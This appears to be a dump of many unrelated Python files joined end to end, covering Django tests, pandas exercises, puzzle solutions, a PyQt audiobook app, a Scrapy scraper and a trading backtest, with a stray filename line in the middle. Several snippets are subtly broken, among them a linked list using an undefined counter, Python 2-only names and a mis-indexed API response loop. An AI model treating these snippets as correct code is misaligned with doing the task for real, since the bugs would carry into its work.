import time

class Motors:
    def __init__(self, IO):
        self.IO = IO
        self.state = {'DC': {}, 'servo': {}}
        self.state['DC']['initial'] = (0, 0)
        self.state['servo']['initial'] = 0
        self.state['DC']['current'] = self.state['DC']['initial']
        self.state['servo']['current'] = self.state['servo']['initial']
        self.state['servo']['engaged'] = False

        # Setup constants
        self.motor_pwr_multiplier = (1, -1)

        self.servo_seconds_per_degree = 0.02
        self.last_servo_change = None

        self.motions = {'forward': (100, 100), 'backward': (-100, -100),
                        'right': (-100, 100), 'left': (100, -100)}

    def apply_mult(self, motor_setting):
        return (self.motor_pwr_multiplier[0] * motor_setting[0], \
                self.motor_pwr_multiplier[1] * motor_setting[1])

    def full_on(self, motion='forward', how_long=None):
        fullon = self.apply_mult(self.motions[motion])
        old_state = self.state['DC']['current']
        self.state['DC']['current'] = fullon
        if old_state != self.state['DC']['current']:
            self.IO.setMotors(fullon[0], fullon[1])
            if how_long is not None:
                time.sleep(how_long)
                self.state['DC']['current'] = old_state
                self.IO.setMotors(old_state[0], old_state[1])

    def stop(self):
        self.IO.setMotors(1, 1)
        time.sleep(2)
        self.state['DC']['current'] = (0, 0)

    def enable_servo(self):
        self.IO.servoEngage()
        self.state['servo']['engaged'] = True
        time.sleep(0.5)
        self.set_servo(self.state['servo']['initial'])
        time.sleep(2)
        print('Servo Engaged!')

    def set_servo(self, angle):
        if self.state['servo']['engaged']:
            self.IO.servoSet(angle)
            # block for a time proportional to the angle we need to turn
            time.sleep(abs(angle - self.state['servo']['current']) * self.servo_seconds_per_degree)
            self.state['servo']['current'] = angle
        else:
            raise Exception('Servo was not engaged!')


# Writing an 'if-else' statement in a single line

x = 45
y = 77

# Normal method
if x > y:
    greater = x
else:
    greater = y

# Single line method, this is same as above

greater2 = x if x > y else y

print(greater)
print(greater2)

# Thank you !!!


import xml.dom.minidom as minidom
import pandas as pd

def Sort(filename):
    field_name=""
    order=""
    locale=""
    list_row=[]
    DOMTree = minidom.parse(filename)
    Node = DOMTree.getElementsByTagName("Node")
    for node in Node:
        GuiSettings=node.getElementsByTagName("GuiSettings")
        child=node.childNodes.item(1)
        full_plugin_name=child.getAttribute("Plugin")
        plugin_name_level_1 = (full_plugin_name[full_plugin_name.find('.', 1, len(full_plugin_name) - 1) + 1:])
        plugin_name_level_2 = (plugin_name_level_1[plugin_name_level_1.find('.', 2, len(plugin_name_level_1) - 1) + 1:])
        # print(plugin_name_level_2)
        tool_id=node.getAttribute("ToolID")
        if(plugin_name_level_2=="Sort"):
            sortinfos=node.getElementsByTagName("SortInfo")
            fields=node.getElementsByTagName("Field")
            for sortinfo in sortinfos:
                locale=sortinfo.getAttribute("locale")
                for field in fields:
                    field_name=field.getAttribute("field")
                    order=field.getAttribute("order")
                    list_row.append([str(filename),str(tool_id),str(full_plugin_name),str(field_name),"","","","","","","","","",str(order),"","","","","","","",""])
    sort_df=pd.DataFrame(data=list_row,columns=["FileName","ToolID","Plugin","FieldName","Rename_or_Destination","CreateFieldName","UpdateFieldName","LeftJoinField","RightJoinField","Expression_1","Expression_2","Expression_3","GroupBy","SortOrder","UpdateField","MultifileValue","HeaderField","DataField","IsSelected","NoOfRows","NumFields","ErrorHandlingText"])
    return sort_df.drop_duplicates()

# Sort("C:/Users/angangupta4/Downloads/Alteryx/input/08_Belvidere_Data_Normalization for Mendix V6.yxmd").to_csv("Sort.csv",index=False)


from django.test import TestCase
import datetime
from django.utils import timezone
from django.urls import reverse

from .models import Question

class QuestionModelTests(TestCase):
    def test_was_published_recently_with_future_question(self):
        time = (timezone.now() + datetime.timedelta(days=30))
        fq = Question(date_of_publication=time)
        self.assertIs(fq.was_published_recently(), False)

    def test_was_published_recently_with_old_question(self):
        time = (timezone.now() - datetime.timedelta(days=1, seconds=1))
        old_question = Question(date_of_publication=time)
        self.assertIs(old_question.was_published_recently(), False)

    def test_was_published_recently_with_recent_question(self):
        time = (timezone.now() - datetime.timedelta(hours=23, minutes=59, seconds=59))
        old_question = Question(date_of_publication=time)
        self.assertIs(old_question.was_published_recently(), True)

def create_question(question_text, days):
    """days sets the timedelta"""
    time = timezone.now() + datetime.timedelta(days=days)
    return (Question.objects.create(question_text=question_text, date_of_publication=time))

class QuestionIndexViewTest(TestCase):
    def test_no_questions(self):

        response = self.client.get(reverse("polls:index"))
        self.assertEqual(response.status_code, 200)
        self.assertContains(response, "No polls are available!")
        self.assertQuerySetEqual(response.context["nearest_questions"], [])

    def test_past_question(self):

        q = create_question("Past question", -30)
        response = self.client.get(reverse("polls:index"))
        self.assertQuerySetEqual(response.context["nearest_questions"], [q])

    def test_future_question(self):

        create_question("Future question", 30)
        response = self.client.get(reverse("polls:index"))
        self.assertContains(response, "No polls are available!")
        self.assertQuerySetEqual(response.context["nearest_questions"], [])

    def test_future_question_and_past_question(self):

        question = create_question("Past question.", -30)
        create_question("Future question.", 30)
        response = self.client.get(reverse("polls:index"))
        self.assertQuerySetEqual(response.context["nearest_questions"], [question])

    def test_two_past_questions(self):

        q1 = create_question("Past question 1", -30)
        q2 = create_question("Past question 2", -20)
        print(q2.date_of_publication)
        response = self.client.get(reverse("polls:index"))
        self.assertQuerySetEqual(response.context["nearest_questions"], [q2, q1])

class QuestionDetailViewTests(TestCase):
    def test_future_question(self):

        fq = create_question("Future_question", 5)
        url = reverse("polls:detail", args=(fq.id,))
        response = self.client.get(url)
        self.assertEqual(response.status_code, 404)

    def test_past_question(self):

        past_question = create_question("Past Question", -5)
        url = reverse("polls:detail", args=(past_question.id,))
        response = self.client.get(url)
        self.assertContains(response, past_question.question_text)


from django.urls import path
from social.views import CommentsListCreateView, LikeCreateView, LikeCheckAPIView, PostDetailView, PostListCreateView, UserPostListView

urlpatterns = [
    path('posts/',PostListCreateView.as_view(),name="posts"),
    path('posts/<int:pk>/',UserPostListView.as_view(),name="user_posts"),
    path('posts/<uuid:pk>/',PostDetailView.as_view(),name="post_detail"),
    path('posts/<uuid:pk>/comments/',CommentsListCreateView.as_view(),name="comments"),
    path('posts/<uuid:pk>/like/',LikeCreateView.as_view(),name='like'),
    path('posts/<uuid:pk>/is_liked/',LikeCheckAPIView.as_view(),name="is_liked_post"),
]


from test import *
import argparse
import json
import os
from tqdm import tqdm

argParser = argparse.ArgumentParser()
argParser.add_argument("-o", "-output", dest="output_file", help="file/directory in which to save data files")

argParser.add_argument("-L", "--lattice", dest = "lattice_size", type=int, help="Length of a square lattice")
argParser.add_argument("-min_k", "--kappa_min", type=float, dest='kappa_min')
argParser.add_argument("-max_k", "--kappa_max", type=float, dest='kappa_max')
argParser.add_argument("-n", type=int, dest="N", default=10)
argParser.add_argument("-l", "--lmbda", type=float, dest='lmbda', default=0.022)

argParser.add_argument("--step_size", type=float, dest='step_size', default=0.1, help="Step size for Langevin evolution")
argParser.add_argument("--therm_steps", type=int, dest='therm_steps', help="Number of thermalisation steps")
argParser.add_argument("--gen_steps", type=int, dest='gen_steps', help="Number of configuration generation steps")
argParser.add_argument("--save_interval", type=int, dest='save_interval', default=10, help="Interval between each configuration saved")

args = argParser.parse_args()

os.makedirs(args.output_file, exist_ok=True)
with open(args.output_file + '/arg_parameters.json', 'w+') as f:
    json.dump(vars(args), f, indent=4)

L = args.lattice_size
lattice_shape = (L, L)
init_configs = rng.standard_normal(lattice_shape)

#PHI4 PARAMETERS
lmbda = args.lmbda

#Langevin parameters
step_size = args.step_size; N_therm = args.therm_steps; N_gap=args.save_interval; N_gen = args.gen_steps

kappa_range = np.linspace(args.kappa_min, args.kappa_max, args.N)

for i, kappa in enumerate(tqdm(kappa_range)):
    filepath =  args.output_file + f"/configs_{i}"

    action = ScalarPhi4Action(kappa = kappa, lmbda = lmbda)

    LS = LangevinSystem(
        init_configs=init_configs, drift=action.drift
    )

    LS.run(
        therm_steps=N_therm,
        generate_steps=N_gen,
        step_size=step_size,
        save_interval=N_gap,
        output_file= filepath
        )


import pandas

# the data fetched and loaded using pandas is termed as DataFrame
# Data frame is generally a 2D data structure, mutable in nature and may consist of heterogeneous data
dataFrame = pandas.read_csv('../../data/marks.csv')

# print the dataframe
# print(dataFrame)

# fetch top most 10 records from the dataframe
# print(dataFrame.head(10))

# fetch the last 1o records from the dataframe
# print(dataFrame.tail(10))

# display the types of data in the dataframe
# print(dataFrame.dtypes)

# a basic summary of the dataframe
# print(dataFrame.info())

# each column from the dataframe is considered to be a series
# e.g. fetch all the cities from the dataframe
# print(dataFrame["City"])

# the following code demonstrates that the series is a 1D array and hence
# returns the count of rows and not columns
# print(dataFrame["City"].value_counts())

# # the following code demonstrates the count of rows and columns both
# focus on the double square brackets [ [] ]
# print(dataFrame[["City", "Mark"]].shape)

# fetch all such records which are for city 'Delhi'
delhi_records = dataFrame[dataFrame["City"] == "Delhi"]
# print(delhi_records)

# fetch all such records which are for city 'Delhi' or 'Mumbai'
# delhi_records = dataFrame[dataFrame["City"].isin(["Delhi", "Mumbai"])]
# print(delhi_records)

# fetch records where value is not missing [NaN]
non_missing_value_records = dataFrame[dataFrame["City"].notna()]
# print(non_missing_value_records)

# fetch records where value is missing [NaN]
# missing_value_records = dataFrame[dataFrame["City"].isna()]
# print(missing_value_records)

# fetch column values as per criteria [where criteria and result columns are different]
# fetch city names of students whose marks are greater than 80
city_names_for_marks_greater_than_80 = dataFrame.loc[dataFrame["Mark"] > 80, "City"]
print(city_names_for_marks_greater_than_80)

# fetch the records on basis of record number
# e.g. fetch 21st to 25th records
# print(dataFrame.iloc[25: 27])

# print all the city names from the records [i.e. unique city names from the records]
unique_city_names = set(non_missing_value_records["City"])
# print(unique_city_names)

# print all the unique city names in sorted order
# using "sorted()"
# print(sorted(unique_city_names))

# alternate way to sort is
# using "sort()". For this we need a list
unique_city_names = list(unique_city_names)
# unique_city_names.sort()
# print(unique_city_names)

unique_city_names.sort(reverse=True)
# print(unique_city_names)

# fetch all such city names (unique) where the marks availed are more than 80
print(set(city_names_for_marks_greater_than_80))


class Solution(object):
    def findWords(self, words):
        alphabet_sets = [set("qwertyuiop"), set("asdfghjkl"), set("zxcvbnm")]
        result = []

        for word in words:
            for alphabet_set in alphabet_sets:
                if set(word.lower()).issubset(alphabet_set):
                    result.append(word)
                    break

        return result

if __name__ == "__main__":
    assert Solution().findWords(["Hello", "Qwerty"]) == ["Qwerty"], "buggy"


import turtle as trtl

painter = trtl.Turtle()

#Asking for what colors
color = input("What color would you like your wagon")
border = input("What color would you like the border to be")
painter.pensize(10)
painter.pencolor(border)
painter.fillcolor(color)
painter.begin_fill()

#Wheel Location corner
painter.penup()
painter.goto(-150,0)
painter.pendown()

#Circle Wheel
painter.circle(30)
painter.end_fill()

#Wagon Location corner
painter.penup()
painter.goto(-150,100)
painter.pendown()
painter.right(90)
painter.forward(40)
painter.right(270)
painter.forward(200)
painter.right(270)
painter.forward(40)

#Wagon Location corner
painter.penup()
painter.goto(80,30)
painter.pendown()

#Circle Wheel
painter.begin_fill()
painter.circle(30)
painter.end_fill()
painter.penup()

#Drawing Board
wn = trtl.Screen()
wn.mainloop()


import requests
from pprint import PrettyPrinter

printer = PrettyPrinter()

url = "https://weatherapi-com.p.rapidapi.com/sports.json"

querystring = {"q": "London"}

headers = {
    "X-RapidAPI-Key": "USE API KEY",
    "X-RapidAPI-Host": "weatherapi-com.p.rapidapi.com"
}

response = requests.request(
    "GET", url, headers=headers, params=querystring).json()
if 'football' in response.keys():
    for i in response:
        print(i)
        c = i['country']
        t = i['tournament']
        stad = i['stadium']
        st = i['start']
        print('--------------------------------------')
        print(f"{c}--{t}--{stad}--{st}")

print(type(response))
print(response)


from bson import ObjectId
from mongoengine import QuerySet, Q
import base64

__all__ = [
    'paging'
]

def paging(queryset, pos_key, args, reverse=True):
    assert isinstance(queryset, QuerySet)
    assert isinstance(pos_key, basestring)

    # Get cursor and limit from querystring
    cursor = args.get('_after', None)
    limit = int(args.get('_per_page', 10)) + 1  # plus 1 for next page checking

    # Perform query
    queryset = queryset.order_by('-' + pos_key if reverse else pos_key, '-id')
    if cursor is None:
        queryset = queryset.filter()
    else:
        _pos, _id = cursor.split(':')
        _pos = base64.urlsafe_b64decode(_pos.encode('ascii')).decode('utf-8')
        _id = base64.urlsafe_b64decode(_id.encode('ascii')).decode('utf-8')
        # _pos = int(_pos)
        _id = ObjectId(_id)
        operator = '__lt' if reverse else '__gt'
        key_q = {
            pos_key + operator: _pos
        }
        id_q = {
            pos_key: _pos,
            'id' + operator: _id
        }
        queryset = queryset.filter(Q(**key_q) | Q(**id_q))

    queryset = queryset.limit(limit)

    result = list(queryset)
    cursor = {}
    if len(result) == limit:
        result.pop()
        last = result[-1]
        key_val = unicode(reduce(getattr, pos_key.split('__'), last)).encode('utf-8')
        id_val = unicode(last.id).encode('utf-8')
        cursor['after'] = '%s:%s' % (base64.urlsafe_b64encode(key_val), base64.urlsafe_b64encode(id_val))

    return result, {
        '_paging': cursor
    }


import pytest

@pytest.fixture(scope="session", autouse=False)
def scope_session():
    print("\nsetup before session.\n")
    yield
    print("\nteardown after session.\n")

@pytest.fixture(scope="module", autouse=False)
def scope_module():
    print("\nsetup before module.\n")
    yield
    print("\nteardown after module.\n")

@pytest.fixture(scope="class", autouse=False)
def scope_class():
    print("\nsetup before class.\n")
    yield
    print("\nteardown after class.\n")

@pytest.fixture(scope="function", autouse=False)
def scope_function():
    print("\nsetup before function.\n")
    yield
    print("\nteardown after function.\n")

def pytest_addoption(parser):
    parser.addoption(
        "--keep-output",
        action="store_true",
        default=False,
        help="does not remove output files generated by the test",
    )


#7568

def size(x, y, p, q):
    if x < p and y < q:
        return 1
    else:
        return 0

n = int(input())
s = [1] * n
people = list()

for _ in range(n):
     people.append(list(map(int, input().split())))

for i in range(n):
    x = people[i][0]
    y = people[i][1]
    for j in range(n):
        if i == j:
            continue
        p = people[j][0]
        q = people[j][1]
        s[i] += size(x, y, p, q)

s = list(map(str, s))
print(' '.join(s))


import torch
import torchvision
from torchvision import datasets,models,transforms
from  matplotlib import pyplot as plt
import numpy as np

device=torch.device('cuda' if  torch.cuda.is_available() else 'cpu')

TRAIN='./data/garbage_classify/train'
VAL='./data/garbage_classify/val'

train_data=datasets.ImageFolder(TRAIN)
val_data=datasets.ImageFolder(VAL)
#print(train_data.imgs)

from PIL import Image
fig=plt.figure(figsize=(25,8))

for idx,img in enumerate(train_data.imgs[:9]):
    print(idx)
    img_path=img[0]
    img_name=img_path.split('/')[-1]
    img_idx=img[1]

    img=Image.open(img[0])
    ax=fig.add_subplot(3,3,idx+1,xticks=[],yticks=[])
    plt.imshow(img)
    ax.set_title('{}-{}'.format(img_idx,img_name))

plt.show()

07-原始数据可视化.py


from tkinter import *
import pickle
root=Tk()
root.geometry("500x700")

def save():
    stuff=textbox.get(1.0,END)
    filename="dat_file"
    file=open(filename,"wb")
    pickle.dump(stuff,file)
    file.close()

def open_file():
    filename="dat_file"
    file=open(filename,"rb")
    stuff=pickle.load(file)
    textbox.insert(1.0,stuff)

textbox=Text(root,width=50,height=35)
textbox.pack(pady=20)

save_button=Button(root,text="save",command=save)
save_button.pack()

open_button=Button(root,text="open",command=open_file)
open_button.pack(pady=10)

root.mainloop()


import sys
sys.setrecursionlimit(10 ** 9)

def dfs(x, y):

    if x == m - 1 and y == n - 1:
        cnt.append(1)
        return

    for i in range(4):
        nx = x + dx[i]
        ny = y + dy[i]

        if 0 <= nx < m and 0 <= ny < n:
            if graph[x][y] > graph[nx][ny]:
                dfs(nx, ny)

m, n = map(int, sys.stdin.readline().split())
graph = [list(map(int, sys.stdin.readline().split())) for _ in range(m)]
dx = [1, -1, 0, 0]
dy = [0, 0, 1, -1]
cnt = []
dfs(0, 0)
print(len(cnt))


from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtGui import QMovie
from PyQt5.QtWidgets import  QFileDialog
import pyttsx3,PyPDF2

class Ui_MainWindow(object):
    def setupUi(self, MainWindow):
        MainWindow.setObjectName("MainWindow")
        MainWindow.resize(720, 720)
        self.centralwidget = QtWidgets.QWidget(MainWindow)
        self.centralwidget.setAutoFillBackground(True)
        self.centralwidget.setObjectName("centralwidget")
        self.label = QtWidgets.QLabel(self.centralwidget)
        self.label.setGeometry(QtCore.QRect(0, 0, 720, 720))
        self.label.setAutoFillBackground(True)
        self.label.setText("")
        self.label.setPixmap(QtGui.QPixmap("Audiobook (2).gif"))
        self.movie=QMovie("Audiobook (2).gif")
        self.label.setMovie(self.movie)
        self.movie.start()
        self.label.setScaledContents(True)
        self.label.setObjectName("label")

        #Upload Button
        self.pushButton = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton.setGeometry(QtCore.QRect(250, 460, 231, 51))
        font = QtGui.QFont()
        font.setFamily("Segoe UI Black")
        font.setPointSize(14)
        font.setBold(True)
        font.setWeight(75)
        self.pushButton.setFont(font)
        self.pushButton.setObjectName("pushButton")
        self.pushButton.clicked.connect(self.upload_file)

        #Play Button
        self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_2.setGeometry(QtCore.QRect(250, 530, 231, 51))
        font = QtGui.QFont()
        font.setFamily("Segoe UI Black")
        font.setPointSize(14)
        font.setBold(True)
        font.setWeight(75)
        self.pushButton_2.setFont(font)
        self.pushButton_2.setObjectName("pushButton_2")
        self.pushButton_2.clicked.connect(self.play_1)

        #Exit Button

        self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)
        self.pushButton_3.setGeometry(QtCore.QRect(250, 600, 231, 51))
        font = QtGui.QFont()
        font.setFamily("Segoe UI Black")
        font.setPointSize(14)
        font.setBold(True)
        font.setWeight(75)
        self.pushButton_3.setFont(font)
        self.pushButton_3.setObjectName("pushButton_3")
        self.pushButton_3.clicked.connect(self.exit_1)

        MainWindow.setCentralWidget(self.centralwidget)
        self.statusbar = QtWidgets.QStatusBar(MainWindow)
        self.statusbar.setObjectName("statusbar")
        MainWindow.setStatusBar(self.statusbar)

        self.retranslateUi(MainWindow)
        QtCore.QMetaObject.connectSlotsByName(MainWindow)

    def upload_file(self):
        global file
        file, check = QFileDialog.getOpenFileName(None, "QFileDialog.getOpenFileName()",
                                                  "", "All Files (*);;Text Files (*.txt)")

    def play_1(self):
        engine = pyttsx3.init()
        engine.say("Welcome to Audiobook")
        engine.runAndWait()
        book = open(file, mode='r')
        pdfReader =PyPDF2.PdfFileReader(file)
        for pages in  range(pdfReader.numPages):
            text=pdfReader.getPage(pages).extractText()
            engine.say(text)
            engine.runAndWait()
        engine.stop()

    def exit_1(self):
        sys.exit(app.exec_())

    def retranslateUi(self, MainWindow):
        _translate = QtCore.QCoreApplication.translate
        MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow"))
        self.pushButton.setText(_translate("MainWindow", "Upload Book"))
        self.pushButton_2.setText(_translate("MainWindow", "Play"))
        self.pushButton_3.setText(_translate("MainWindow", "Exit"))

if __name__ == "__main__":
    import sys
    app = QtWidgets.QApplication(sys.argv)
    MainWindow = QtWidgets.QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(MainWindow)
    MainWindow.show()
    sys.exit(app.exec_())


import sys
input = sys.stdin.readline

# n * m 크기의 보드 , 4개의 버튼
# 2개의 빈 칸에는 동전이 하나씩 놓여져있고, 위치가 다르다

board_size = list(map(int, input().split()))
board = [input() for _ in range(board_size[0])]
move = [(-1,0),(1,0) ,(0,-1),(0,1)]

def bfs():

    coin = []
    count = 0
    out = 0
    queue = []
    for n in range(board_size[0]):
        for m in range(board_size[1]):
            if board[n][m] == 'o':
                coin.append((n,m))
    if len(coin) == 1:
        coin.append(coin[0])

    queue.append([coin,0])
    while True:
        if len(queue) == 0:
            print(-1)
            return

        data = queue.pop(0)
        coin = data[0]
        count = data[1] + 1

        if count > 10:
            print(-1)
            break

        for m in move:
            coin_step = coin.copy()
            move_coin1 = (coin_step[0][0] + m[0], coin_step[0][1] + m[1])
            move_coin2 = (coin_step[1][0] + m[0], coin_step[1][1] + m[1])

            if move_coin1[0] in range(board_size[0]) and move_coin1[1] in range(board_size[1]):
                if board[move_coin1[0]][move_coin1[1]] != '#':
                    coin_step[0] = move_coin1
            else:
                out += 1

            if move_coin2[0] in range(board_size[0]) and move_coin2[1] in range(board_size[1]):
                if board[move_coin2[0]][move_coin2[1]] != '#':
                    coin_step[1] = move_coin2
            else:
                out += 1

            if out == 1:
                print(count)
                return
            elif coin_step[0] != move_coin1 and coin_step[1] != move_coin2:
                out = 0
                continue
            else :
                out = 0
                queue.append([coin_step,count])

bfs()


import time
import threading
from satorilib import logging
from satorirendezvous.client.structs.protocol import ToServerProtocol
from satorirendezvous.client.rest import RendezvousByRest
from satorirendezvous.peer.p2p.topic import Topic, Topics
from satorirendezvous.client.structs.message import FromServerMessage

class Peer():
    ''' manages connection to the rendezvous server '''

    def __init__(
        self,
        rendezvousHost: str,
        topics: list[str] = None,
        handlePeriodicCheckin: bool = True,
        periodicCheckinSeconds: int = 60*60*1,
    ):
        self.createTopics(topics or [ToServerProtocol.fullyConnectedKeyword])
        self.connect(rendezvousHost)
        if handlePeriodicCheckin:
            self.periodicCheckinSeconds = periodicCheckinSeconds
            self.periodicCheckin()

    def createTopics(self, topics: list[str]):
        self.topics: Topics = Topics({k: Topic(k) for k in topics})

    def periodicCheckin(self):
        self.checker = threading.Thread(target=self.checkin, daemon=True)
        self.checker.start()

    def checkin(self):
        while True:
            time.sleep(self.periodicCheckinSeconds)
            self.rendezvous.checkin()

    def connect(self, rendezvousHost: str):
        self.rendezvous: RendezvousByRest = RendezvousByRest(
            host=rendezvousHost,
            timed=True,
            onMessage=self.handleRendezvousMessage)

    def add(self, topic: str):
        with self.topics:
            self.topics[topic] = Topic(topic)

    def remove(self, topic: str):
        with self.topics:
            del (self.topics[topic])

    def handleRendezvousMessage(self, msg: FromServerMessage):
        ''' receives all messages from the rendezvous server '''
        logging.debug('Rendezvous FromServerMessage: ', msg, print='teal')
        if msg.isConnect:
            logging.debug('isConnect', print='teal')
            try:
                topic = msg.payload.get('topic')
                logging.debug('topic', topic, print='teal')
                ip = msg.payload.get('peerIp')
                logging.debug('ip', ip, print='teal')
                port = int(msg.payload.get('peerPort'))
                logging.debug('port', port, print='teal')
                localPort = int(msg.payload.get('clientPort'))
                logging.debug('localPort', localPort, print='teal')
                if topic is not None and ip is not None:
                    with self.topics:
                        if topic in self.topics.keys():
                            self.topics[topic].create(
                                ip=ip,
                                port=port,
                                localPort=localPort)
                        else:
                            logging.error('topic not found', topic, print=True)
            except ValueError as e:
                logging.error('error parsing message', e, print=True)


import pandas as pd
import hiquant as hq

class StrategyMultiIndicator( hq.BasicStrategy ):
    indicators = []

    def __init__(self, fund):
        super().__init__(fund, __file__)
        self.indicators = ['boll']
        fund.set_name('布林带策略')

    def schedule_task(self, trader):
        trader.run_daily(self.trade, None, time='09:30')
        trader.run_on_bar_update(self.trade, None)

    #def select_targets(self):
    #    return pd.read_csv('stockpool/t0_white_horse_20.csv', dtype=str)['symbol'].tolist()

    def gen_trade_signal(self, symbol, init_data = False):
        market = self.fund.market
        if init_data:
            df = market.get_daily(symbol)
        else:
            df = market.get_daily(symbol, end = market.current_date, count = 60)

        signal = hq.gen_indicator_signal(df, self.indicators)

        # Notice!!! Important !!!
        # if we used the close price of the day to calc indicator,
        # to avoid "future data or function" in backtesting, it should not be used for today's trading
        # either we trade at 14:30 before market close
        # or, shift(1) and trade next morning
        return signal.shift(1).fillna(0)

    def get_signal_comment(self, symbol, signal):
        return ' + '.join(self.indicators)

def init(fund):
    strategy = StrategyMultiIndicator(fund)

if __name__ == '__main__':
    backtest_args = dict(
        #start_cash= 1000000.00,
        date_start= hq.date_from_str('6 months ago'),
        #date_end= hq.date_from_str('yesterday'),
        #out_file= 'output/demo.png',
        #parallel= True,
        compare_index= 'sh000300',
    )
    hq.backtest_strategy( StrategyMultiIndicator, **backtest_args )


class Node:
    def __init__(self, initdata):
        self.data = initdata
        self.next = None

    def getData(self):
        return self.data

    def getNext(self):
        return self.next

    def setData(self, newdata):
        self.data = newdata

    def setNext(self, newnext):
        self.next = newnext

class OrderedList:
    def __init__(self):
        self.head = None

    def __str__(self):
        s = ''
        current = self.head
        while current != None:
            s += str(current.getData()) + ' '
            current = current.getNext()
        return s

    def search(self, item):
        current = self.head
        found = False
        stop = False
        while current != None and not found and not stop:
            if current.getData() == item:
                found = True
            else:
                if current.getData() > item:
                    stop = True
                else:
                    current = current.getNext()

        return found

    def index(self, item: int or float):
        current = self.head
        found = False
        stop = False
        series = -1
        while current != None and not found and not stop:
            series += 1
            if current.getData() == item:
                found = True
            else:
                if current.getData() > item:
                    stop = True
                else:
                    current = current.getNext()

        return series if found else -1

    def append(self, item):
        current = self.head
        if current == None:
            self.head = Node(item)
        else:
            while current != None:
                previous = current
                current = current.getNext()
            previous.setNext(Node(item))
        self.num += 1
    def add(self, item):
        current = self.head
        previous = None
        stop = False
        while current != None and not stop:
            if current.getData() > item:
                stop = True
            else:
                previous = current
                current = current.getNext()

        temp = Node(item)
        if previous == None:
            temp.setNext(self.head)
            self.head = temp
        else:
            temp.setNext(current)
            previous.setNext(temp)

    def isEmpty(self):
        return self.head == None

    def remove(self, item: int or float):
        previous: Node = None
        current = self.head
        while current != None:
            if current.getData() == item:
                if previous == None:
                    self.head = current.getNext()
                else:
                    previous.setNext(current.getNext())
                break
            else:
                previous = current
                current = current.getNext()

    def pop(self, index: int = -1):
        previous: Node = None
        current = self.head
        while current != None:
            if current.getNext() == None and index == -1:
                index = 0
            if index == 0:
                if previous == None:
                    self.head = current.getNext()
                else:
                    previous.setNext(current.getNext())
                break
            elif index > 0:
                index -= 1
            previous = current
            current = current.getNext()

        return current.getData()

    def size(self):
        current = self.head
        count = 0
        while current != None:
            count = count + 1
            current = current.getNext()

        return count

mylist = OrderedList()
mylist.add(31)
mylist.add(77)
mylist.add(17)
mylist.add(93)
mylist.add(26)
mylist.add(54)
print(mylist)
print(mylist.pop(3))
print(mylist)


from clips import Environment

def findFact(ListFact):
    env = Environment()
    env.load('rule.txt')
    for fact in ListFact:
        env.assert_string(fact)
    res = []
    env.run()
    for fact in env.facts():
        res.append(str(fact))

    return res


fhand = open("./gitrepos/pythonworking/PythonForEverybody/mbox.txt")
count = 0
string = ''

for line in fhand:
    count += 1
    string = string + line

    if line.startswith("From:"): print(line.strip())

fhand.close()

print("Line Count: %d " % count)
print ("Length: %d" % len(string))


# -*- coding: utf-8 -*-
import scrapy
import time
import requests
import re
from twopoint.items import TwopointItem

class TwopSpider(scrapy.Spider):
    name = 'twop'
    #allowed_domains = ['http://www.twopoint.de']
    start_urls = ['http://www.twopoint.de/pr.jsp?_pp=0_548_27_-1']
    now_data = time.strftime("%Y-%m-%d")
    path=f'{now_data}日爬取的数据.txt'

    def parse(self, response):
    	for i in range(27,103):
    		url = f'http://www.twopoint.de/pr.jsp?_pp=0_548_{i}_-1'
    		yield response.follow(url=url,callback=self.parse_down)

    def parse_down(self, response):

    	name = response.xpath('//table[@class="propDiv productName      "]').xpath('.//a/text()').extract()
    	price = response.xpath('//table[@class="propDiv productProp11    "]').xpath('.//td/span[2]/text()').extract()
    	weight = response.xpath('//table[@class="propDiv productProp16    "]').xpath('.//td/span[2]/text()').extract()
    	product_id = response.xpath('//div[@class="productListForms"]/div/@productid').extract()
    	#信息写入过度文件
    	with open(self.path,"a",encoding='utf-8') as f:
    		for i in range(len(name)):
    			f.write(name[i]+","+price[i].strip('￥')+","+weight[i]+","+product_id[i]+","+'D://twopoint_img/'+product_id[i]+'.jpg'+"\n")

    	#转向商品页面，获取品牌和规格
    	p_url=response.xpath('//table[@class="propDiv productName      "]').xpath('.//a/@href').extract()
    	for each in p_url:
    		pn_url='http://www.twopoint.de/'+each
    		yield response.follow(url=pn_url,callback=self.production_down)

    	#保存图片
    	image = response.xpath('//div[@class="imgDiv   "]').xpath('.//img/@src').extract()
    	for i in range(len(image)):
    		img_path=f'D:/PY/twopoint/img/{product_id[i]}.jpg'
    		with open (img_path,'wb')as f:
    			req=requests.get(image[i])
    			f.write(req.content)

    	#下一页
    	try:
    		count = response.xpath('//div[@class="pageNext"]/a/@href').extract_first()
    		if count:
    			next_url='http://www.twopoint.de'+count
    			yield response.follow(url=next_url,callback=self.parse_down)
    	except:
    		pass

    def production_down(self, response):
    	#有的商品没有品牌和规格。
    	product_id2 = re.findall(r'id=(\d+)',response.url)[0]
    	if response.xpath('//td[@title="规格"]').xpath('../td[2]/span/text()').extract_first():
    		specification = response.xpath('//td[@title="规格"]').xpath('../td[2]/span/text()').extract_first()
    	else :
    		specification='0'
    	if response.xpath('//td[@title="品牌"]').xpath('../td[2]/span/text()').extract_first():
    		brand = response.xpath('//td[@title="品牌"]').xpath('../td[2]/span/text()').extract_first()
    	else:
    		brand = '0'
    	try:
    		#存入过度文件
    		with open('表二'+self.path,"a",encoding='utf-8') as f:
    			f.write(product_id2+","+specification+","+brand+"\n")
    	except:
    		pass


# -*- coding: utf-8 -*-
"""
License: BSD

(c) 2009      ::: www.CodeResort.com - BV Network AS (simon-code@bvnetwork.no)
"""

import unittest

import xmlrpclib

from tracrpc.tests import rpc_testenv, TracRpcTestCase

class RpcXmlTestCase(TracRpcTestCase):

    def setUp(self):
        TracRpcTestCase.setUp(self)
        self.anon = xmlrpclib.ServerProxy(rpc_testenv.url_anon)
        self.user = xmlrpclib.ServerProxy(rpc_testenv.url_user)
        self.admin = xmlrpclib.ServerProxy(rpc_testenv.url_admin)

    def tearDown(self):
        TracRpcTestCase.tearDown(self)

    def test_xmlrpc_permission(self):
        # Test returned response if not XML_RPC permission
        rpc_testenv._tracadmin('permission', 'remove', 'anonymous',
                                'XML_RPC', wait=True)
        e = self.assertRaises(xmlrpclib.Fault,
                    self.anon.system.listMethods)
        self.assertEquals(403, e.faultCode)
